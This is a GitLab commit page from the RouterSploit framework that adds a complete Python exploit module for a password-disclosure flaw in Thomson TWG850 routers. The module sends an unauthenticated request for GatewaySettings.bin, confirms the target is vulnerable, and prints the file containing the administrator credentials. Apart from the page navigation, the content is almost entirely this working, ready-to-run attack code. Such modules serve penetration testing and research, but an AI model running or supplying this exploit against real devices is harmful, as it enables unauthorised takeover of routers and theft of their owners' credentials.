Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
3293a140
Commit
3293a140
authored
Jun 18, 2016
by
Marcin Bury
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Thompson TWG850 Password Disclosure exploit.
parent
c026726b
Show whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
61 additions
and
0 deletions
+61
-0
twg850_password_disclosure.py
...it/modules/exploits/thomson/twg850_password_disclosure.py
+61
-0
No files found.
routersploit/modules/exploits/thomson/twg850_password_disclosure.py
0 → 100644
View file @
3293a140
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
print_info
,
print_status
,
http_request
,
mute
,
validators
,
)
class
Exploit
(
exploits
.
Exploit
):
"""
Exploit implementation for Thomson TWG850 password disclosure vulnerability.
If the target is vulnerable, it allows read credentials for administration user.
"""
__info__
=
{
'name'
:
'Thomson TWG850 Password Disclosure'
,
'description'
:
'Module exploits Thomson TWG850 password disclosure vulnerability which allows fetching administration
\'
s password.'
,
'authors'
:
[
'Sebastian Perez'
,
# vulnerability discovery
'Marcin Bury <marcin.bury[at]reverse-shell.com>'
,
# routersploit module
],
'references'
:
[
'https://packetstormsecurity.com/files/136135/Thomson-Router-TWG850-4U-XSS-CSRF-Unauthenticated-Access.html'
,
],
'devices'
:
[
'Thomson TWG850'
,
]
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
url
=
"{}:{}/GatewaySettings.bin"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
return
if
response
.
status_code
==
200
and
"0MLog"
in
response
.
text
:
print_success
(
"Exploit success"
)
print_status
(
"Reading file GatewaySettings.bin"
)
print_info
(
response
.
text
)
else
:
print_error
(
"Exploit failed. Device seems to be not vulnerable."
)
@mute
def
check
(
self
):
url
=
"{}:{}/GatewaySettings.bin"
.
format
(
self
.
target
,
self
.
port
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
is
None
:
return
False
# target is not vulnerable
if
response
.
status_code
==
200
and
"0MLog"
in
response
.
text
:
return
True
# target is vulnerable
else
:
return
False
# target is not vulnerable
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment